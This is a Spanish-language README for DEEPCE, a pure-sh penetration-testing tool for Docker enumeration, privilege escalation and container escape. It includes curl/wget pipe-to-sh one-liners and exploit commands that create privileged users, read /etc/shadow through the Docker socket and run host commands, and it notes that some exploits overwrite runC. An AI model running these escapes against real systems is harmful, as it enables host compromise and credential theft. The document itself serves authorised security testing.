
Enumeración de Docker, Escalada de Privilegios y Escapes de Contenedores (DEEPCE)
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
Enumeración de Docker, escalada de privilegios y escapes de contenedores (DEEPCE)
Para que sea compatible con el máximo número de contenedores, DEEPCE está escrito en sh puro y sin dependencias. Hará uso de herramientas adicionales como curl, nmap, nslookup y dig si están disponibles, pero en su mayor parte no depende de ellas para la enumeración.
Ninguna de las enumeraciones debería tocar el disco; sin embargo, la mayoría de los exploits crean nuevos contenedores, lo que provocará escrituras en el disco, y algunos exploits sobrescribirán runC, lo que puede ser destructivo, ¡así que ten cuidado!
Consulta a continuación una lista de las enumeraciones, exploits y payloads que DEEPCE puede usar. Si tienes ideas para más, ¡por favor crea un issue en github!
DEEPCE se puede descargar en un host o contenedor usando uno de los siguientes comandos de una línea. Consejo: descárgalo a /dev/shm para evitar tocar el disco.
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
Si amas lo que hago con Deepce y mis otros proyectos, ¡ahora puedes apoyar mi trabajo directamente! Al invitarme a un café ☕, no solo alimentas mi necesidad de cafeína: me ayudas a dedicar más tiempo a desarrollar y mejorar estos proyectos de código abierto. Cada café cuenta y trae más innovación al mundo de la ciberseguridad. ¡Gracias por tu apoyo: significa mucho para mí y para la comunidad de código abierto!
Para más, consulta la carpeta de documentación

La siguiente es la lista de enumeraciones realizadas por DEEPCE.
Para cada uno de los exploits anteriores se pueden definir payloads para explotar el sistema host. Estos incluyen:
# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh
Los siguientes ejemplos muestran los diferentes tipos de exploits que se pueden realizar y los payloads disponibles.
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
/etc/shadow./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
Es posible descargar y ejecutar deepce sin tocar el disco; sin embargo, no podrás establecer argumentos fácilmente (la manipulación directa de variables es posible usando export).
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
Hay algunos excelentes scripts de enumeración/escape de contenedores y herramientas de enumeración de los que me he inspirado al escribir esto. Sin embargo, sentí la necesidad de escribir uno puramente en sh para evitar tener que instalar dependencias de go / ruby o depender de un binario estático. También quería poder realizar más enumeraciones para intentar descubrir qué es el contenedor docker, ya que durante una prueba podemos terminar dentro de un contenedor desconocido. La cantidad de cosas que este script puede enumerar se me fue de las manos, porque cada vez que añadía algo nuevo pensaba en más cosas adicionales que podría añadir.
Desarrolladores que buscan consejos de seguridad de Docker https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md
Agradezco pull requests, issues y comentarios.